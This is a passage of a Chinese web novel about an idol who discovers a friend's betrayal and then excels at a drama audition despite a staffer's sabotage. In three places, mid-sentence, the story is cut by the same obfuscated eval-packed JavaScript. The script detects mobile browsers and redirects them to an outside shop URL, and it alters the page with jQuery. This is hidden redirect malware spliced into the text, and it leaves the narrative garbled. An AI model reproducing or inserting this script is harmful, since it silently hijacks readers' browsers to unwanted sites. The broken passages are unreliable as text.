贺晔琉愣了一下,显得有些失落:“这样啊……” 沈陌遥察觉出他的低落,犹豫了一下,又道:“如果不嫌弃的话,六翼娱乐最近在筹备《奏乐青春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281031|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2》,我可以把他推荐给节目制作人,那对新人来说应当也是个不错的机会……你弟弟会乐器吗?” “应该会一点钢琴……你等等,我给你看看他的资料。” 贺晔琉在手机上翻找一阵,把手机递给他。 “你看吧,我不太懂这些。” 沈陌遥接过来,屏幕上显示的是一个名叫叶溪的男孩的资料卡,模卡上的男孩清秀可爱,唇角有一颗小痣,笑容乖巧,和他的小弟一样今年刚好20岁。 他继续往下翻,试图在个人技能那一栏找到乐器,贺晔琉的手机却忽然传来一阵震动,几条消息从手机上方接连弹出,他猝不及防,全部看进眼里。 [溪宝:琉哥哥,这么久了,你和他谈的怎么样?] [溪宝:你可一定要让他帮我进光曜传媒啊] [溪宝:哭唧唧.jpg] [溪宝:要是他不同意,你就和他翻脸!] [溪宝:毕竟就像你说的,这是他唯一的价值了] 沈陌遥的眼睫颤了颤。 “你有新消息。”他的脸色白下去,把手机递给还不知道发生了什么的寸头男人。 贺晔琉接过手机,脸色很快变得极为难看,竟是下意识嘀咕了一句“我不是叫他这个时候别给我发消息”。 那句话声音很小,可是夜晚更静,那自言自语似的抱怨就那样无比清晰地传入沈陌遥耳膜。 “是吗。”沈陌遥轻声接话。 于是贺晔琉十分惊恐地抬头看向他,企图从他的反应中看出那些消息他都看到了多少。 时隔近三年,这是他第一次这样认真仔细地注视沈陌遥。 他没什么表情,手中茶杯里的白气往上飘,瑰丽的眉眼氤氲在一片朦胧的水雾中,浓黑眼睫聚着细密的小水珠,眼中一贯蕴着的锋锐好像都被热气打散了,竟显出几分罕见的柔弱。 这是他一直试图在沈陌遥身上重新找到的特质。 就像他们高中时的第一次重逢,他狼狈窝在背光的角落里抬眼看自己,瘦削肩膀无意识颤抖,眼眸中摇曳着将熄未熄的光。 需要被保护,需要有依靠,仿佛自己刚才随手就能掐灭的那点零星的火。 脆弱、易碎,但是在他眼里却有一种独特的美。 但是这些年来,随着沈陌遥年龄的增长、事业的攀升,他身上这种独有的脆弱感好像逐渐消失了。 ……又或者,是被他很好地藏起来了。 他好像从一团一戳就破的泡沫塑料进化成了一口瓷器,戳也戳不动,虽然能被摔碎,自己却也会被锋利的碎片划伤,而他只要用点胶水黏一黏就能复原,哪怕带着一点无法痊愈的裂痕。 贺晔琉不喜欢那样的沈陌遥。 那让他觉得深不可测、难以掌控。 但如今,这样令他神往的柔弱出现的时机并不太对。 他不敢欣赏,甚至不敢直视,反倒被那样的目光盯得愈发心虚,到最后竟是结巴着吐出一句“我晚上有个饭局得先走了,不用送”,就逃也似的离开了沈陌遥的家。 …… 沈陌遥垂眼盯着照片上自己手里的橘子汽水出神。 自贺晔琉狼狈地离开后,他脑子里放胶片电影一样闪过很多和他相处的画面。 贺晔琉带他在大街小巷兜风时机车引擎震颤的频率,在自动贩卖机前拉开橘子汽水时气泡哗啦啦的碎响,捉住夜晚河堤旁飞舞的萤火虫后眉毛扬起的弧度,撑着伞伸手搂住他时坚实臂膀传递的温暖。 这些都是他曾经藏在内心深处,无数次翻来覆去回味的渺渺温存。 别人都说,生活在黑暗里的人,看到一点折射的微光都仿佛看见了希望。 无论那些光是否真的是为照耀自己而来。 沈陌遥阖着眼,脑海里忽然浮现这句话,竟然有股酸涩直冲心头,眼眶和鼻尖蓦地泛起灼热的温度。 10. 试镜 第二天上午9点,《浪潮》的最后一批试镜在霖市文体馆附近如期展开。 霖市的秋天一向反复无常,这天气温再次迎来一波骤降,试镜的等候区被设在没什么遮挡的室外,冷风吹拂在身上格外寒凉。 沈陌遥坐在角落里的椅子上,身前全是一些电视剧甚至是大银幕里眼熟的年轻面孔,他们每个人身边都至少围着两个嘘寒问暖,端茶送水的助理或经纪人,因而他孤零零一人的单薄身影格外显眼,经过的人总要带着探究瞅上他一眼,在发现他是个处于娱乐圈鄙视链底端,甚至还黑料缠身的小偶像后又了无兴致地带着点鄙夷移开眼神。 沈陌遥没有受到任何人影响,只是垂着头专心回顾自己准备表演的一首戏曲。室外的低温和寒风对于他这个刚刚出院的前病号来说并不友好,但好在他的试镜编号是10号,还算靠前,他并不需要等上太久。 这一场试镜的三十几人共同争取的角色名叫商渡,是帝国内处于统治阶级的教会中一位将领家的独子,自幼过着锦衣玉食,嚣张跋扈的生活,却在13岁惨遭仇家灭门。当时尚且年幼的商渡躲在暗格中逃过一劫,而后独自一人流浪,过了大半年乞儿的日子,直到被带着戏班子巡演的有名青衣看中,学习戏曲。 最初的少年商渡心怀仇恨,又带着尚未消去的大少爷脾气,仗着自己有唱戏的天赋,在戏班之中依旧不服管教,屡遭训诫后有所收敛,却仍旧阴鸷自私。 然而在他成年后,帝国内迫于教团压迫而四起的反抗势力愈发壮大,商渡跟随戏班接触很多相关人士,深受他们的理念鼓舞,不再以仇恨的姿态和世界相处,逐渐成熟,开始借身份之便暗中替以男主角为首的反抗势力传递情报,与教团斡旋,甚至甘愿在关键时刻牺牲自己,成为反抗势力的中坚力量。 虽然进入试镜的演员能提前拿到的角色介绍和剧本片段只有短短几页,沈陌遥却依旧深深被商渡这个角色所展现出的人物弧光所吸引,为此,他专门进行了一段时间的戏曲训练,只求在试镜时能有最好的发挥。 “你是沈陌遥哥哥吧?” 闭目养神的时候,一道柔和软糯的男声从沈陌遥身侧传来。 他睁开眼,看见一个肌肤白皙,笑容甜美的男生。他有一双小鹿似的大眼睛,笑起来的时候梨涡边的小痣为他添了几分柔媚的气质。 “沈陌遥哥哥,你好,我是叶溪。”男生坐到他边上,冲他伸出手,“初次见面,不知道琉哥哥有没有和你提过我呢?” 沈陌遥淡淡扫过他的手,没有反应。 “哦,好吧,看来沈陌遥哥哥你果然就像传闻中那样很高冷呢。”叶溪神态自若地收回手,脸上别说气恼,连一点尴尬都看不见,笑容依旧。 这个人……不简单。 沈陌遥微微蹙眉。他不清楚贺晔琉把昨天的事和叶溪说了多少,但是此刻他看着叶溪堪称纯真无邪的笑容,忽然觉得即使叶溪知道了全部,也仍然会像这样仿佛什么都没发生过一般朝他笑。 “好巧啊,这次咱们是竞争对手呢。”叶溪把双手直直搭在膝盖上坐得笔直,朝四周望着,一副三好学生般的乖宝宝模样。 “但是我听说……”他把身体朝沈陌遥一侧倾斜,像是在和他说悄悄话,声音也压得很低,“我听说这次试镜其实也就是走个形式,这个角色早就被某个人内定了。沈陌遥哥哥,你知不知道他是谁?” “叶溪。”沈陌遥掀起眼皮淡淡瞥了他一眼,“不能帮你进光曜传媒的我,应该已经连‘唯一的价值’都没有了吧?” 我已经知道了你们两个是什么人,所以,不要再来打扰我。 后面半句话沈陌遥并未说出口,视线很快落回手上的剧本段落,神色疏离淡漠。 “我……” 伶俐如叶溪自然听出了他的言下之意,很快意识到昨天自己发出的消息竟是一字不落地被沈陌遥全部看见了,他眼里飞速闪过一丝怨气,手指握成拳在膝盖上紧了紧,终于还是没坐住,默默起身离开,朝场地前段的工作台附近走去。 叶溪走后的两个小时,沈陌遥度过了一段相对平和的准备时间。这会儿距离9号进入面试间已经过去将近二十分钟,沈陌遥估摸着应该快要轮到自己,便起身往前站了站,正巧看见接待台前负责叫号的工作人员拿起了麦克风。 不知是有意还是无心,他眼神扫向沈陌遥时似乎流露出一丝若有若无的轻蔑,而后将脸贴近麦克风,幽幽说道:“下一位,11号孟蜀君。” 沈陌遥皱眉,以他的距离刚好能把叫号的人眼里的那份不屑看得一清二楚,他虽然不知道这份无端的厌恶从何而来,却并不打算就此忍气吞声,很快来到接待台旁。 “你好,我是10号沈陌遥。你刚才漏了我的号。” “哦,是吗?”长着一脸络腮胡的男人冲他挑眉,语气满不在意,“我应该叫过10号吧,是你自己不在场或者漏听了,不能怪我。还是说,你有我没叫你的证据吗?” 沈陌遥视线扫过在场的其他工作人员,他们中大多数都显得对此漠不关心,有站在一旁与几名结束试镜的种子选手聊天的,有隔着一扇门偷窥房间内状况的,即使有极少数看向这边的人,也都在发现发出疑问的人是沈陌遥后就撇过头去装瞎。 “要我说,你这种选秀出来的,就不该来参加这种水准的试镜。”络腮胡见他愣在原地,朝他露出一个意味深长的笑,“被漏号其实你应该感到庆幸,因为你现在就卷铺盖走人会比较节省时间,也比你进去之后灰溜溜地被淘汰出来要有面子的多。” 沈陌遥深深看了络腮胡最后一眼,没再和他争论,转身回到等候区域的角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281032|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落。 其实他恰好有练习台词时的一段录音,里面的背景音能够听见他的叫号从9号直接跳到了11号。 但他并不打算在这个时候用这个证据。 看刚才络腮胡的反应,明显就是对自己的恶意漏号行为有恃无恐,那么有很大的概率他是受人指使,抑或是在这个试镜会当中有人给他撑腰。 如果在这个时候贸然和他对峙,引起骚乱,不但找不到合适的机会展示这段完整的证据,也会耽误导演组的进度,给他们留下不好的印象。 可以的话,他想等待一个能够彻底将他的谎言揭穿,最好能把他背后的人一并揪出来的时机。 抛开总人数不谈,以梁森炜主导的团队进行试镜考核的时间其实不长,最多不过二十来分钟,而最短仅仅几分钟就会有人哭着从后门跑出来,像是被劈头盖脸骂了一通。而包括最先进去试镜的几名种子选手在内的每个人从屋里出来时的脸色也都并不算好,似乎对获得角色并没有太大的把握。 中午的时候,场上陆续传出不少“这次完全不会有人入选吧”“我们都是陪跑,最后肯定还是内定了!”“梁导的要求也太苛刻了吧……听说他目前为止没夸过任何一个人。”的窃窃私语,也有不少人因为觉得没有被选上的希望就提前离场,沈陌遥却始终安静坐在自己的位置上阖着眼,心里除了温习准备表演的片段之外再无其他。 一方面,他一向对这些场外的言论没什么兴趣,从来只相信自己,另一方面,他断断续续烧了将近一周,没能得到完全的治疗和休息,如今确实需要保存体力和精力才能确保试镜时的最佳状态。 时间很快来到下午三点,此时场上还没进行面试并且还没离开的仅仅只有十来人。 沈陌遥小声试唱了一段曲子,觉得嗓子有些干涩,便从包里拿了自己的杯子走到饮水机边准备接点热水。 他垂头放好杯子,拉下热水旋钮的时候出水有些猛,零星的热水越过保温杯口溅到他的手指上。 他被猛地烫了一下,不算严重却有点疼,他轻轻“嘶”了一声,吃痛地簇着眉,下意识用被烫到的手指捏住耳垂,侧过身来的时候却和一个戴着墨镜,端着茶杯的中年男子对上了视线。 “哇哦。”那男人吹了声口哨,把墨镜抬起来露出一双满是黑眼圈的眼睛凑近看他的脸,“这皱眉的角度,这漂亮又倔强的小脸蛋,这清隽的身板……” 他感叹着,又兀自疑惑起来,“但是不对啊,以你这样的外形条件,编号怎么会靠后呢?难道梁森炜那老家伙看走眼了不成?” 他又凑近了些,沈陌遥对这样的距离不太适应,有些抗拒地后退半步,他却自顾自凑到他胸口抬起号码牌的别针看了看,“欸,你怎么是10号?” “小张不是和我们说,10号没来吗?” 11. 演技 试镜间内,把沈陌遥一路从侧门带进来的墨镜男在写着名牌的长桌前坐下。 男人叫做刘枫,这个名字沈陌遥也有所耳闻,是位业内有名的制片人,虽然年纪不到四十岁,拉投资的能力和选片的眼光都是一绝。 “梁导啊,你最近是不是对于手底下的人疏于管教了?” 刘枫说着,像是觉得室内的暖气太足,随手解开西装最上面的两颗扣子,内里那件夏威夷风格,颜色鲜艳的花衬衫就那么大喇喇地露了出来,“你看这小家伙,从外形上怎么看都是演商渡的不二之选吧?要是就这么错过了,有你后悔的。” “刘枫,先别着急。”梁森炜如同他擅长拍摄的题材一样,从外表上看过去是个极为正经的人。他戴着一副黑框眼镜,整齐的短须蓄在脸侧,桌上的演员资料卡整齐地堆叠着。 “你是叫……沈陌遥吧。”梁森炜在厚厚一沓纸张中找出印着眼前的黑发青年照片的那张,严肃地看向他:“我们确实没有按照编号顺序见到你。这到底是怎么一回事?” 因为偶遇刘枫,进入试镜间的时机其实比沈陌遥预想的要早上很多,但他却并未因此而出现丝毫的慌乱。他脸上挂着得体的微笑,依次向长桌上的所有人都问了好,旋即不卑不亢地将之前发生的事情简要描述了一遍。 “如果各位难以完全相信我的单方面陈述的话,也可以喊来那位工作人员单独复述。另外,我这儿还有在他叫号时跳号的完整录音可以供大家参考。” 他的声音并不大,透出几分恰到好处的清冽,虽然脸色有些发白,乌黑眼眸中却蕴着沉稳的底色,此时站在导演组的一众大人物面前也丝毫不输气势,身段挺拔颀长如同一颗雪松。 “不必了。”梁森炜摆摆手,他从业多年,什么样的奇葩纠纷没见过,此时光是看到沈陌遥说话的状态就已经对事情有了定论,便不想再过多浪费时间,“我会喊助理去和小张那边也沟通一下,现在直接开始你的试镜吧,小沈。” 他盯着沈陌遥微微上扬的眼尾,意味深长地笑了笑。 无可否认,自刘枫领着沈陌遥走进屋的那一刻起,他的注意力就完全被眼前这个眉眼漂亮,带着淡淡疏离感的青年吸引了。 单从外形来看,他确实如同刘枫所说,和商渡极为适配,而在先前的交流中,沈陌遥展现出的个性也让他非常满意—— 即使自身的当前利益受到损害,他也没有因为占理而要求中断当前的试镜,打断导演组的节奏,而在被刘枫发现时,他也懂得抓住机会表达自己遭受的不公平对待,并没有因为两人之间的身份差距而畏缩扭捏。 他不过分强势,既做出了恰到好处的让步,也没让自己吃太多亏,是个敏锐心细,懂得审时度势、照顾全局,还丝毫不怯懦卑微的,让人看了难免心生喜爱之情的孩子。 如果他又恰好是一个在演技方面也完全不逊色于那几位有各自代表作的种子小生的话,商渡这个角色就一定非他莫属了。 梁森炜这么想着,又兀自摇了摇头。 怎么可能有演技呢……虽然这孩子给他的第一印象很好,但从他的资料来看,他只不过是个偶像出身的毛头小子,要不是凭着一张即使在平面图层里也依旧出类拔萃的脸蛋,他这样的“男团小鲜肉”甚至在海选的时候就会被自己的团队刷下来。 “我这次选择表演的是C段,麻烦对戏老师了。”沈陌遥浅浅朝长桌鞠了一躬,视线转向站在桌尾拿着剧本的老师。 “你选C段?” 听了沈陌遥的选择,长桌前的所有人无一不惊讶地扬起眉毛张大嘴。 “我靠,这小子不会傻乎乎的以为C段看起来比较平,所以好演吧?”刘枫差点把刚喝到嘴里的茶水喷出来,“糟了糟了,刚才应该提点他一下的……” 对表演稍有研究的人都知道,对于临场发挥来说,极端的情绪,也就是情感爆发对于有基本功的演员来说其实是相对容易够到及格线的稳妥选择。 因此,在导演组提供的三个试戏段落中,商渡因为一首曲子的惊艳发挥被教会高层相中,以为自己就要远离痛苦的戏班生活而陷入狂喜的A段,以及商渡因为师哥被教会走狗所杀,陷入极度悲愤的B段,相较于一段仅仅是商渡在和男主角进行大战前夕的对话的C段而言,无疑是更好的选择。 事实上,包括几名种子选手在内的前十位表演者无一例外选择了A段或B段,只有一个初出茅庐的小可怜懵懵懂懂选了C段,最后的结局自然也应当是还没演完就被耐心耗尽的梁森炜轰出场。 梁森炜挑眉:“确定是C段,不改了?” 沈陌遥好像没看见场上众人脸上或不可思议,或轻蔑的表情,只是闭上眼,微微颔首:“嗯,我的选择是C段。” 人年纪大了,地位高了就难免有爱才之心,梁森炜此时也被他这样堪称头铁的举动激起了好奇,偏偏就想试试这个一看就知道是演戏小白的小子到底有几分选择最难片段的底气,因此,他竟然罕见地拿起剧本,挥手示意负责对戏的老师离开,亲自承担了男主角部分的台词。 随着一声“Action”,试镜正式开始。 “所以你们的目标是花羽节?” 沈陌遥此时已然进入状态,他的眉头紧紧蹙着,眼皮掀起来微微睁大眼睛,其中透出几分掩饰得很好的不可置信,神态竟和一名不足20岁的阴鸷少年无异。 “你看,你想不到我们要在花羽节发动突袭。”梁森炜顿了顿,较为公式化地念着台词:“你想不到,那些教会的走狗,甚至那高高在上的教皇大人也不会想到。” “想要出其不意?”沈陌遥的眉毛扬起,属于曾经意气风发的富家少爷的倨傲被他收在眼底,像是不再能威慑到任何人,却能支撑住支离破碎的自己的底气。 他神色冷淡,有些不以为然:“可明澜市的花羽节向来守备森严……陆锦昇,难道你以为光凭这点人,就真的能闹出一番动静来吗?” “这就是你不懂了,小子。”梁森炜像是不由自主地被沈陌遥带进戏里去了一些,他食指和中指微微捻了捻,做出一副拿着烟的姿态,声音比之前的扁平多了几分投入:“不知道你有没有听过一句话。” “什么?” “星星之火,可以燎原。” “星星之火,可以燎原……”试戏用的摄像机里,沈陌遥蝶羽般的眼睫闪了闪,眼瞳细微的震颤被镜头完美捕捉。 他维持着被镇住的模样看向梁森炜,嘴唇抖了抖,却又沉默着什么都没说,良久才轻轻垂下头,垂在身侧的手指蜷了蜷抚上心口,指尖有细微的颤抖。 这句话仿佛藤蔓,自肌肤表面将他缠绕,上面的尖刺是柔韧的,并不扎人,却蕴含着烈焰般的毒素,一路灼烧着直至触碰到他坚硬外壳之下鲜活地跳动着的内心,连带着他总显得苍白阴郁的面容多了几分热忱的温度。 “Cut!” 出声结束这场震撼了在场所有人的试戏后,梁森炜的心中久久不能平静。 要知道,他不仅丝毫没有因为沈陌遥选择了最难的段落而放低要求,相反的,他一开始甚至没打算好好念台词,为的就是想故意减弱沈陌遥在对戏时的代入感。 却没想到到最后,反而是自己情不自禁被带了进去。 他年轻时也曾经是一名演员,深知情绪越是细微表演起来也就越难,越容易掌握不好度而导致失真。 而沈陌遥今天的这次临场表现,让他唯有感叹一句天才中的天才。 “小沈,你真的没有经历过任何演技训练,也没有任何表演经历?” “我没有进行过专业训练,梁导。” 沈陌遥在导演喊出卡后就阖上了眼睛,重新睁开时,脸上那些曾汹涌着的情绪已然消弭,恢复了淡然的模样,唇角弧度得体而疏离。 他偏过头去轻声咳了一阵,又道:“但我12岁时曾经在美国客串过几集电视剧。” 那是他11岁在外祖母姜瑾的邀请下被送往美国读初中之后的事。 他那不苟言笑的外祖父查尔斯坐拥庞大的地产公司,又因为个人爱好经营着私人训练基地,虽然年事已高却仍旧忙于公务,因此他在美国的大部分时间都只有外祖母一位亲人陪伴。 他的外祖母姜瑾是他至今认知中最温柔的人,平时不仅关注他在学校是否过的开心,有没有被人欺负,在闲暇时间也注重培养他各方面的兴趣爱好,带他去了不少博物馆和展览,陪他看音乐剧,甚至领他去自己的好友导演的拍摄片场参观。 就是在那里,他有幸被邀请在那部奇幻电视剧中演出,戴上了毛茸茸的狼耳朵,扮了几天的人狼男孩。 也是自那以后,他忽然感受到表演的乐趣。通过表演与自己有着完全不同境遇,却也冥冥之中有些许相似的角色,他的思维和灵魂好像能跳脱出□□的束缚,在时空堆叠的平面里不受束缚地展开,不再作为沈陌遥自己,而是作为那个角色本身去生活,去感受他未曾感受过的人生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281033|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>坦白说,他甚至说不清这样的心态是否源于对过于痛苦的家庭环境下意识的逃避——但那颗因为好剧本、好角色而砰砰直跳的心总归是不会说谎的。 自12岁那年,他就暗自下定决心,未来要成为一名能在世界范围内留下许多好作品的演员。 而当年,姜瑾也在听完他这个大得离谱的梦想后宠溺地笑着摸了摸他的头。 “我们家小陌一定会成为最棒的演员的。” “那么按照惯例,我们还需要问你一些个人的问题,来判断你是否能够胜任这个角色。”梁森炜右手边有些大腹便便的中年男子垂头翻阅起了手中的资料,“最近这两周,我们注意到你似乎被传出很多负面舆论,其中包括但不限于你对待工作不认真,屡次缺席团队活动的彩排,以及队内不和……” “这些事已经不重要了,高副导。” 刘枫眼睛一瞪,还没来得及着急,梁森炜竟然率先打断了他的话。 “小沈这种完成度的表演,你应该也知道代表着什么。说实话,要不是本着对得起所有参加试镜的选手和他们背后的公司的态度,连后面剩余的试镜,我都没什么心思看了。要出一个比他还好的,几乎不可能。” 沈陌遥适时鞠躬,露出微笑:“谢谢导演的认可……我还有一个小小的请求想要提出。” 梁森炜此时已经完全被沈陌遥折服,看向他的眼神都带着毫不掩饰的“挖到宝了”的喜悦之情,大灰狼似的,自然对他所谓的小小要求没有任何抵触。 “你说。” “在试戏片段之外,我还准备了一首想要表演的戏曲,希望能有向各位展示的机会。” “哦?”梁森炜愣了一下,很快双眼中迸发出浓烈的精光,“快来一段试试。” 其实,在导演组原先的计划中,对饰演商渡的演员是并没有在戏曲方面的要求的。 他们深知在具有不拖垮整个电视剧播出效果的演技的同时,在戏曲上也具有一定造诣的年轻人属实少之又少,因此很早就打算在戏外单独寻找商渡唱戏曲时的配音来解决这个难题,却没想到已经在演技上给他们带来极大震撼的沈陌遥竟然还藏了一手。 得到肯定后,沈陌遥毫不拖沓,清了清嗓子,就地做了一个简单的起势便开始了自己的第二段表演。 他在乐队时期本来就以一副自带混响效果、CD音质的好嗓子而著称,此时唱起戏剧来竟然一点都不显得突兀,声音空灵清远,仿佛早春白雪皑皑的的山巅融化的清泉汇成了溪流,虽然唱到后半明显有些力不从心,气息略微发抖,却仍然瑕不掩瑜,几句简单的戏腔很快唱进在场所有人的心里。 一曲结束。 “好,好!无需多言,他在我心里就是商渡。”梁森炜连声大笑,忽然又扭头对着副导演淡淡道:“是时候清扫一下手底下的人了,周副导。我没记错的话,那个小张的岗位是你安排的吧?” “是啊,梁导。”大腹便便的中年人掏出手帕擦了擦头上冒的汗,赔笑道,“他应该也不是故意的,我已经喊他过来了,马上先给小沈道个歉,然后停职反思。” 没人知道,周长波在心里刚把那小张翻来覆去骂了将近一万遍。 那小张是他亲戚家的表弟,平日里胆子不大,唯独喜欢滥用职权,狗仗人势,放在平时,这算不上什么,因为在每场试镜开始前,包括导演在内的人都是默认在种子选手里面挑,至于其余选手究竟有没有展现的机会,并没有谁关心。大家都知道他是副导演的亲戚,所以选择睁一只眼闭一只眼,这次却终于是踢到了铁板子。 …… “对了,漂亮小子,我倒是有个问题想问你。” 试镜告一段落,沈陌遥身子微微打晃,开门准备离开试镜间时,一直懒洋洋撑着脑袋靠着的刘枫忽然喊住他,眼中满是兴致,“我想知道,如果这次你没有恰好遇到我,你打算怎么做?” “我会等。”沈陌遥弯起淡白透明的嘴角笑了笑,鼻腔呼出的热气接触到室外的冷风甚至隐约起了一片白雾,“我会等到所有人的试镜结束再进来和各位说明情况并进行表演。” “真有你的,小子。”刘枫朝他竖起大拇指,却在下一秒惊恐地站起身,差点把眼珠子瞪出来。 屋里的众人几乎和他是一个反应—— 在他们视线投向之处,沈陌遥刚刚踏出门外的身子不知道是被门框绊了一下还是怎么,好像在瞬间失去了全部的力气,竟像是一片枯叶一样软软倒了下去。 12. 吊坠 “小沈,没事吧?” 刘枫一个健步冲上去扶住沈陌遥直往地上栽的身子,他架过沈陌遥的半边肩膀,隔着偏厚的衣料,他鼓动着的,急促的心跳依然清晰传来,冷汗顺着他惨白的侧脸从湿漉漉的鬓间往下淌,划过尖削的下巴,雨滴似的落在门边。 “没事……”沈陌遥的眼睛有一瞬的失焦,像是被蒙在一层薄雾里,过了许久眼神才逐渐恢复清明。 他轻轻呼出一口气,死死咬着嘴唇,试图脱离刘枫和随后赶来的助理的支撑站直身子,抠住门框的手背上支棱的手骨和青筋尽数浮现,整个肩膀都在抖。 “试镜前没怎么吃东西,有些低血糖。抱歉,给大家添麻烦了。” 他转身,朝导演组的众人鞠了一躬,身子微微打晃,声音仿佛能被轻易吹散在门外的冷风里。 “请各位放心,如果我获得商渡这个角色,在拍摄时绝对不会因为任何个人原因耽误拍摄进程。” · “怎么,被刚才那小家伙迷住了?”沈陌遥离开后,正好迎来试镜的中场休息时间,胖乎乎的副导演站起身伸了个懒腰,揶揄地拍了拍仍有些愣神的刘枫的肩膀,“我说你这老牛吃嫩草也别太过头吧,人家快小你一轮了。” “瞎说什么呢!”刘枫没好气地白了他一眼,“我就是在想……那小子看着挺孤单的。” 试镜时,沈陌遥穿着一件厚实的毛呢风衣,他本就身型高挑,肩膀虽单薄却也不窄,是个能完美撑起风衣的衣架子,整个人看起来也就只是有些清瘦。 但刚才他揽着沈陌遥时却意识到,对于一名超过一米八的成年男性来说,那人的分量明显有些轻得过头了,骨头都硌人。 这样的体重,他的身体状况不可能太好,而看他刚才的反应,似乎对那样突然的短暂眩晕早就习以为常了。 他的经纪公司呢?这样重要的试镜,别的艺人身边都有好几个人照顾,六翼娱乐为什么连一个助理都不派给他? 从沈陌遥的言行举止中一眼便知,他并非如同谣言所说,是个背靠沈氏就在圈内肆意妄为的小少爷。那么沈家人又是怎样看待他的呢?娱乐公司不在乎就算了,沈家也并没有分出任何人手陪着他,好像对他漠不关心的样子。 反倒是那个叫做沈凌夏的沈家长子……刘枫眯起眼睛,前些天他们谈合作时,那个外表温和儒雅的男人身边可是围了不少喊着他“少爷”,给他端茶送水的人。 “真是奇怪。”刘枫念叨着,忽然想起什么一般,一拍脑袋,“说到合作……梁导啊,咱们这次试镜的母带你喊人备份后传我一份。” 梁森炜此时还在回顾沈陌遥试镜的录像,听到他的话头也没抬:“为什么?” “池璟的人开口要了。”刘枫做出摊手状。 梁森炜挑眉:“没说是什么原因?” “没说,不过就池璟的人隐约给我透露,这次似乎是他们的顶头大老板亲自开口要的。” “池璟集团的董事长?我怎么不知道他平时投资项目的时候还有亲自审核项目聘用人员的习惯?” “不,你想的太简单了。” “怎么?” “……是池璟老总的顶头上司要这次试镜的录像。” “什么?!”梁森炜这下彻底把注意力从屏幕前移开了,一惯沉稳的语调难以置信般上扬:“你是说那个池家的人要我们这部戏里的一个配角的试镜录像?” “嗯,多半还是他们少东家开的口。” “不得了,不得了……”梁森炜一脸震惊地摇头,困惑道:“莫不是那年轻的池家少主看上来试镜的某个演员了?” “那我们还能擅自决定演员吗?是不是得等着看那位的意思?”副导演忧愁道。 “我一开始也这么想,但是这有些说不通。”刘枫抬了抬墨镜,“你们想,以他的身份,如果真的和哪个小明星看对眼了,直接强取豪夺不就行了?不说直接把这个角色指定给他,大可以直接为他量身打造一部S级的影视剧项目啊。” “也是。”梁森炜叹了口气,视线又回到屏幕上的沈陌遥脸上,眼中的欣赏毫不掩饰,“上位者的心思轮不到我们猜,商渡这个角色,还是按原计划选择吧。” · 沈陌遥含着水果糖,拖着浑身发软的身子回到文体馆边的停车场的时候天色已经偏暗,他撑着一口气凭记忆走到自己的车边,竟见到贺晔琉站在车头旁发愣。 沈陌遥的车是外祖父查尔斯随手送他的20岁生日礼物。 那个时候的贺晔琉当他的事就是自己的事,又正巧痴迷于超跑,对他的车提了不少改装意见,沈陌遥对车没什么大兴趣,见他兴致那么高便也就随着他来。 在贺晔琉连续一个多月不辞劳苦的改装下,这辆车几年过去也依旧很好开,即使是不常开车的他也感觉得出来。 “你……你果然也来参加试镜了吗?”贺晔琉一扭头看到沈陌遥的身影,踌躇了一下,往他身前走了几步。 “昨,昨天的事情我很抱歉,我们那个对话不是你想的意思。小溪他其实很早就和光曜传媒在谈了,只是当时我夸下海口说认识光曜传媒老板的弟弟,非要帮他托个关系,他不忍心打击我的积极性,才那么说的。” 阳光正在消退,两人所处的位置被一块不大不小的阴云笼罩,他看不清清沈陌遥的脸色,自顾自解释着。 “小溪和我发消息说你不肯和他说话……陌遥,他真的不是你以为的那种人,他其实很温柔,很善良的,平时不小心踩到一朵花都会掉眼泪,这次被你冷落他也没生气,还和我说特别期待和你公平竞争角色……” “说够了?” 沈陌遥无视他脸上的恳切,绕过他径自走到车门边,想要打开车门的时候却趔趄了一下,险些直接往车玻璃上撞。 “陌遥!”贺晔琉吓了一跳,下意识跨出一大步拉住他的衣服,看到那人细瘦的手腕撑着车身,侧缘还有未褪的针眼,头却倔强地朝另一边偏过去咳着,对他的触碰显出抗拒的姿态。 “你……生病了?” 贺晔琉试图去拍他颤抖的脊背,小心翼翼将疑问抛出,仿佛看到沈陌遥虚弱的咳喘和苍白脸色的这一刻,他才恍然能够将他那似乎又瘦了些的身影与之前那个与自己交好多年的竹马重叠在一起,回想起他们的从前。 “陌遥,你是不是又没有好好吃饭?” “你现在应该去接他,而不是在这里惺惺作态地关心我,贺晔琉。”沈陌遥躲开他的手,声音很轻,“我消受不起。” 趁着贺晔琉愣神的功夫,他憋了一口气飞速打开车门,跌跌撞撞坐了进去。 他不敢再犹豫,也没有能力再犹豫,因为好像再多和他对话一秒,自己就要被心中不断涌现的阵痛击溃了。 